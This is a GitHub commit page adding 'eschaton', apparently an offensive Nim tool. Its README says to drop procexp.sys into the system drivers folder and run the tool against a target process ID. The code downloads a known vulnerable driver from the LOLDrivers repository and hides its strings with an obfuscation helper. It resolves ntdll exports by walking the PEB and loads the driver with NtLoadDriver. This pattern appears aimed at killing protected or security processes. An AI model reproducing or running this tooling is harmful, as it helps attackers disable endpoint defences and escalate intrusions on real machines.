-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
B4hamut
committed
Jan 23, 2024
0 parents
commit c07f48a
Showing
16 changed files
with
701 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
# eschaton | ||
|
||
needs : | ||
- winim | ||
- puppy | ||
|
||
compilation : | ||
|
||
``` | ||
nim c -d:mingw --cpu:amd64 -d:strip -d:danger --opt:size --passc=-flto --passl=-flto eschaton.nim | ||
``` | ||
|
||
how to use : | ||
|
||
- add procexp.sys in C:\WINDOWS\System32\drivers | ||
|
||
- run eschaton.exe --pid:[PID of your target process] | ||
|
||
- profit ???? |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,15 @@ | ||
import httpclient, puppy | ||
import obf | ||
|
||
|
||
# download from https://github.com/magicsword-io/LOLDrivers/raw/main/drivers/e6cb1728c50bd020e531d19a14904e1c.bin | ||
proc deploy*() = | ||
var | ||
client = newHttpClient() | ||
file = driver_file | ||
|
||
#echo client.getContent("https://github.com/magicsword-io/LOLDrivers/raw/main/drivers/e6cb1728c50bd020e531d19a14904e1c.bin") | ||
var driver = fetch(obf("https://github.com/magicsword-io/LOLDrivers/raw/main/drivers/e6cb1728c50bd020e531d19a14904e1c.bin")) | ||
writeFile(obf("procexp.sys"), driver) | ||
moveFile(obf("procexp.sys"), obf("\\SystemRoot\\System32\\drivers\\procexp.sys")) | ||
# move it to "\\SystemRoot\\System32\\drivers\\" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,266 @@ | ||
import winim | ||
import tables | ||
import strformat | ||
import algorithm | ||
import obf | ||
|
||
when defined(WIN64): | ||
const | ||
PEB_OFFSET* = 0x30 | ||
else: | ||
const | ||
PEB_OFFSET* = 0x60 | ||
|
||
|
||
const | ||
LdrLoadDll_SW2 * = obf("LdrLoadDll") | ||
MZ* = 0x5A4D | ||
|
||
const | ||
NTDLL_DLL* = obf("ntdll.dll") | ||
|
||
type | ||
LdrLoadDll_t* = proc (PathToFile: PWCHAR, Flags: ULONG, ModuleFileName: PUNICODE_STRING, ModuleHandle: PHANDLE): NTSTATUS {.stdcall.} | ||
|
||
type | ||
ND_LDR_DATA_TABLE_ENTRY* {.bycopy.} = object | ||
InMemoryOrderLinks*: LIST_ENTRY | ||
InInitializationOrderLinks*: LIST_ENTRY | ||
DllBase*: PVOID | ||
EntryPoint*: PVOID | ||
SizeOfImage*: ULONG | ||
FullDllName*: UNICODE_STRING | ||
BaseDllName*: UNICODE_STRING | ||
|
||
PND_LDR_DATA_TABLE_ENTRY* = ptr ND_LDR_DATA_TABLE_ENTRY | ||
ND_PEB_LDR_DATA* {.bycopy.} = object | ||
Length*: ULONG | ||
Initialized*: UCHAR | ||
SsHandle*: PVOID | ||
InLoadOrderModuleList*: LIST_ENTRY | ||
InMemoryOrderModuleList*: LIST_ENTRY | ||
InInitializationOrderModuleList*: LIST_ENTRY | ||
|
||
PND_PEB_LDR_DATA* = ptr ND_PEB_LDR_DATA | ||
ND_PEB* {.bycopy.} = object | ||
Reserved1*: array[2, BYTE] | ||
BeingDebugged*: BYTE | ||
Reserved2*: array[1, BYTE] | ||
Reserved3*: array[2, PVOID] | ||
Ldr*: PND_PEB_LDR_DATA | ||
|
||
PND_PEB* = ptr ND_PEB | ||
|
||
|
||
proc GetPPEB(p: culong): P_PEB {. | ||
header: | ||
"""#include <windows.h> | ||
#include <winnt.h>""", | ||
importc: "__readgsqword" | ||
.} | ||
|
||
|
||
|
||
template RVA*(atype: untyped, base_addr: untyped, rva: untyped): untyped = cast[atype](cast[ULONG_PTR](cast[ULONG_PTR](base_addr) + cast[ULONG_PTR](rva))) | ||
|
||
template RVASub*(atype: untyped, base_addr: untyped, rva: untyped): untyped = cast[atype](cast[ULONG_PTR](cast[ULONG_PTR](base_addr) - cast[ULONG_PTR](rva))) | ||
|
||
template RVA2VA(casttype, dllbase, rva: untyped): untyped = | ||
cast[casttype](cast[ULONG_PTR](dllbase) + rva) | ||
|
||
proc `+`[T](a: ptr T, b: int): ptr T = | ||
cast[ptr T](cast[uint](a) + cast[uint](b * a[].sizeof)) | ||
|
||
proc `-`[T](a: ptr T, b: int): ptr T = | ||
cast[ptr T](cast[uint](a) - cast[uint](b * a[].sizeof)) | ||
|
||
proc is_dll*(hLibrary: PVOID): BOOL | ||
proc get_library_address*(LibName: LPWSTR; DoLoad: BOOL): HANDLE | ||
proc get_function_address*(hLibrary: HMODULE; fname: cstring; ordinal: int, specialCase: BOOL): PVOID | ||
|
||
proc is_dll*(hLibrary: PVOID): BOOL = | ||
var dosHeader: PIMAGE_DOS_HEADER | ||
var ntHeader: PIMAGE_NT_HEADERS | ||
if (hLibrary == nil): | ||
when not defined(release): | ||
echo "[-] hLibrary == 0, exiting" | ||
return FALSE | ||
dosHeader = cast[PIMAGE_DOS_HEADER](hLibrary) | ||
#echo "Got dos Header" | ||
## check the MZ magic bytes | ||
if dosHeader.e_magic != MZ: | ||
when not defined(release): | ||
echo "[-] No Magic bytes found" | ||
return FALSE | ||
ntHeader = cast[PIMAGE_NT_HEADERS](cast[DWORD_PTR](hLibrary) + dosHeader.e_lfanew) | ||
#echo "Got NT Headers" | ||
## check the NT_HEADER signature | ||
if ntHeader.Signature != IMAGE_NT_SIGNATURE: | ||
when not defined(release): | ||
echo "[-] Nt Header signature wrong, exiting" | ||
return FALSE | ||
var Characteristics: USHORT = ntHeader.FileHeader.Characteristics | ||
if (Characteristics and IMAGE_FILE_DLL) != IMAGE_FILE_DLL: | ||
when not defined(release): | ||
echo "[-] Characteristics shows this is not an DLL, exiting" | ||
return FALSE | ||
#echo "Everything fine, this is indeed a DLL" | ||
return TRUE | ||
|
||
|
||
## | ||
## Get the base address of a DLL | ||
## | ||
|
||
|
||
proc get_library_address*(LibName: LPWSTR; DoLoad: BOOL): HANDLE = | ||
when not defined(release): | ||
echo "\r\n[*] Parsing the PEB to search for the target DLL\r\n" | ||
var Peb: PPEB = GetPPEB(PEB_OFFSET) | ||
var Ldr = Peb.Ldr | ||
var FirstEntry: PVOID = addr(Ldr.InMemoryOrderModuleList.Flink) | ||
var Entry: PND_LDR_DATA_TABLE_ENTRY = cast[PND_LDR_DATA_TABLE_ENTRY](Ldr.InMemoryOrderModuleList.Flink) | ||
while true: | ||
# lstrcmpiW is not case sensitive, lstrcmpW is case sensitive | ||
var compare: int = lstrcmpiW(LibName,cast[LPWSTR](Entry.BaseDllName.Buffer)) | ||
if(compare == 0): | ||
#echo "DLL names equal" | ||
when not defined(release): | ||
echo "\r\n[+] Found the DLL!\r\n" | ||
return cast[HANDLE](Entry.DllBase) | ||
Entry = cast[PND_LDR_DATA_TABLE_ENTRY](Entry.InMemoryOrderLinks.Flink) | ||
if not (Entry != FirstEntry): | ||
when not defined(release): | ||
echo "DLL not found for the current proc, loading." | ||
break | ||
if (DoLoad == FALSE): | ||
echo "Exit, loading is not appreciated" | ||
return 0 | ||
|
||
var MyLdrLoadDll: LdrLoadDll_t = cast[LdrLoadDll_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(NTDLL_DLL, FALSE)), LdrLoadDll_SW2, 0, TRUE))) | ||
|
||
if MyLdrLoadDll == nil: | ||
echo "[-] Address of LdrLoadDll not found" | ||
return 0 | ||
|
||
var ModuleFileName: UNICODE_STRING | ||
|
||
var hLibrary: HANDLE = 0 | ||
|
||
RtlInitUnicodeString(&ModuleFileName, LibName) | ||
## load the library | ||
var status: NTSTATUS = MyLdrLoadDll(nil, 0, &ModuleFileName, &hLibrary) | ||
|
||
if (status != 0): | ||
echo fmt"[-] Failed to load {Libname}, status: {status}\n" | ||
if (hLibrary == 0): | ||
echo "HLibrary still null" | ||
return 0 | ||
else: | ||
echo fmt"Loaded {LibName} successfully!" | ||
echo fmt"[+] Loaded {LibName} at {hLibrary}" | ||
return hLibrary | ||
|
||
|
||
## | ||
## Find an export in a DLL | ||
## | ||
|
||
proc get_function_address*(hLibrary: HMODULE; fname: cstring; ordinal: int, specialCase: BOOL): PVOID = | ||
var dos: PIMAGE_DOS_HEADER | ||
var nt: PIMAGE_NT_HEADERS | ||
#var data: PIMAGE_DATA_DIRECTORY | ||
var data: array[0..15, IMAGE_DATA_DIRECTORY] | ||
var exp: PIMAGE_EXPORT_DIRECTORY | ||
var exp_size: DWORD | ||
var adr: PDWORD | ||
var ord: PDWORD | ||
var functionAddress: PVOID | ||
var toCheckLibrary: PVOID = cast[PVOID](hLibrary) | ||
if (is_dll(toCheckLibrary) == FALSE): | ||
echo "[-] Exiting, not a DLL" | ||
return nil | ||
dos = cast[PIMAGE_DOS_HEADER](hLibrary) | ||
nt = RVA(PIMAGE_NT_HEADERS, cast[PVOID](hLibrary), dos.e_lfanew) | ||
|
||
data = nt.OptionalHeader.DataDirectory | ||
|
||
if (data[0].Size == 0 or data[0].VirtualAddress == 0): | ||
echo "[-] Data size == 0 or no VirtualAddress" | ||
return nil | ||
exp = RVA(PIMAGE_EXPORT_DIRECTORY, hLibrary, data[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) | ||
exp_size = data[0].Size | ||
|
||
adr = RVA2VA(PDWORD, cast[DWORD_PTR](hLibrary), exp.AddressOfFunctions) | ||
ord = RVA2VA(PDWORD, cast[DWORD_PTR](hLibrary), exp.AddressOfNameOrdinals) | ||
|
||
functionAddress = nil | ||
|
||
var numofnames = cast[DWORD](exp.NumberOfNames) | ||
var functions = RVA2VA(PDWORD, cast[PVOID](hLibrary), exp.AddressOfFunctions) | ||
var addressOfFunctionsvalue = RVA2VA(PDWORD, cast[PVOID](hLibrary), exp.AddressOfFunctions)[] | ||
var names = RVA2VA(PDWORD, cast[PVOID](hLibrary), exp.AddressOfNames)[] | ||
|
||
#echo "\r\n[*] Checking DLL's Export Directory for the target function\r\n" | ||
|
||
if fname != "": | ||
## iterate over all the exports | ||
#var i: DWORD = 0 | ||
|
||
for i in 0 .. numofnames: | ||
# Getting the function name value | ||
var funcname = RVA2VA(cstring, cast[PVOID](hLibrary), names) | ||
|
||
var finalfunctionAddress = RVA(PVOID, cast[PVOID](hLibrary), addressOfFunctionsvalue) | ||
|
||
# We are comparing against function names, which include "." because for some reason all function names in this loop also contain references to other DLLs, e.g. "api-ms-win-core-libraryloader-l1-1-0.AddDllDirectory" in kernel32.dll | ||
var test = StrRStrIA(cast[LPCSTR](funcname),nil,cast[LPCSTR](".")) | ||
|
||
if test != nil: | ||
# As we found a trash (indirect reference, normally this is in the address field and not in the names field) function, we have to increase this value -> Not an official function | ||
numofnames = numofnames + 1 | ||
else: | ||
functions = functions + 1 | ||
addressOfFunctionsvalue = functions[] | ||
#echo "Relative Address: ", toHex(functions[]) | ||
names += cast[DWORD](len(funcname) + 1) | ||
#echo "Function: ", funcname | ||
if fname == funcname: | ||
|
||
# So many edge cases, have to investigate | ||
if (funcname == "CreateFileW"): | ||
functions = functions - 1 | ||
if (funcname == "SetFileInformationByHandle"): | ||
functions = functions - 1 | ||
if (funcname == "CloseHandle"): | ||
functions = functions - 1 | ||
if (funcname == "GetModuleFileNameW"): | ||
functions = functions - 1 | ||
|
||
#echo "\r\n[+] Found API call: ",funcname | ||
#echo "\r\n" | ||
|
||
# Strange. For ntdll functions the following is needed, but for kernel32 functions it's not. Don't ask me why. This is a workaround for the moment. Need to troubleshoot. | ||
if (specialCase): | ||
# Why? | ||
#echo "This is a special case, subtract one function" | ||
finalfunctionAddress = RVA(PVOID, cast[PVOID](hLibrary), addressOfFunctionsvalue) | ||
#echo "Relative Address: ", toHex(functions[]) | ||
functions = functions - 1 | ||
#echo "Relative Address one before: ", toHex(functions[]) | ||
functions = functions + 2 | ||
#echo "Relative Address one after: ", toHex(functions[]) | ||
functionAddress = finalfunctionAddress | ||
break | ||
else: | ||
# Add the ordinal number e.g. 1034 for OpenProcess and - the EXP Base address | ||
#echo fmt"Getting address via ordinal: {ordinal}" | ||
functions = functions + ordinal - 1 | ||
functionAddress = RVA(PVOID, hLibrary, functions[]) | ||
#echo "Relative Address: ", toHex(functions[]) | ||
#echo "Function address via ordinal:" | ||
#echo repr(functionAddress) | ||
if functionAddress == nil: | ||
return nil | ||
else: | ||
return functionAddress |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,74 @@ | ||
import winim/[com, clr], std/strformat | ||
import dinvoke | ||
import obf | ||
|
||
type NtLoadDriver_t = proc(DriverServiceName : PUNICODE_STRING) : HANDLE {.stdcall.} | ||
|
||
|
||
proc load_driver*() = | ||
var hNtdll = GetModuleHandleA(obf("Ntdll.dll")) | ||
if (hNtdll == 0): | ||
echo obf("[-] error can't find ntdll") | ||
quit(-1) | ||
|
||
var NtLoadDriver : NtLoadDriver_t | ||
|
||
NtLoadDriver = cast[NtLoadDriver_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(obf("ntdll.dll"), FALSE)), obf("NtLoadDriver"), 0, TRUE))) | ||
|
||
if (NtLoadDriver == nil): | ||
echo obf("[-] error can't find NtLoadDriver") | ||
quit(-1) | ||
|
||
var name : UNICODE_STRING | ||
|
||
RtlInitUnicodeString(addr(name), obf("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\eschaton")) | ||
|
||
var ret = NtLoadDriver(addr(name)) | ||
if (ret != STATUS_SUCCESS and ret != STATUS_IMAGE_ALREADY_LOADED and ret != STATUS_OBJECT_NAME_COLLISION) : | ||
echo "[-] ntloaddriver error, can't load driver" | ||
quit() | ||
elif (ret == STATUS_SUCCESS) : | ||
echo "[+] driver loaded" | ||
elif (ret == STATUS_IMAGE_ALREADY_LOADED) : | ||
echo "already loaded" | ||
else : | ||
echo "should be working" | ||
|
||
proc unload_driver*() = | ||
var hNtdll = GetModuleHandleA(obf("Ntdll.dll")) | ||
if (hNtdll == 0): | ||
echo "[-] error can't find ntdll" | ||
quit(-1) | ||
|
||
var NtLoadDriver : NtLoadDriver_t | ||
|
||
NtLoadDriver = cast[NtLoadDriver_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(obf("ntdll.dll"), FALSE)), obf("NtUnloadDriver"), 0, TRUE))) | ||
|
||
if (NtLoadDriver == nil): | ||
echo "[-] error can't find NtUnLoadDriver" | ||
quit(-1) | ||
|
||
var name : UNICODE_STRING | ||
|
||
RtlInitUnicodeString(addr(name), obf("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\eschaton")) | ||
|
||
var ret = NtLoadDriver(addr(name)) | ||
if (ret != STATUS_SUCCESS and ret != STATUS_IMAGE_ALREADY_LOADED and ret != STATUS_OBJECT_NAME_COLLISION) : | ||
echo fmt"[-]NtUnloadDriver: {ret}" | ||
echo "[-] ntunloaddriver error" | ||
elif (ret == STATUS_SUCCESS) : | ||
echo "[+] driver unloaded" | ||
|
||
|
||
proc connect_to_driver*(driver_name : string) : HANDLE = | ||
var driver_handle = CreateFileA(fmt"\\.\{driver_name}", GENERIC_ALL, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL) | ||
|
||
#dump hProcExpDevice | ||
if (driver_handle == INVALID_HANDLE_VALUE) : | ||
echo "[-] invalid handle" | ||
echo "[-] cant connect to driver" | ||
quit() | ||
else : | ||
echo "[+] connected to driver" | ||
|
||
return driver_handle |
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Oops, something went wrong.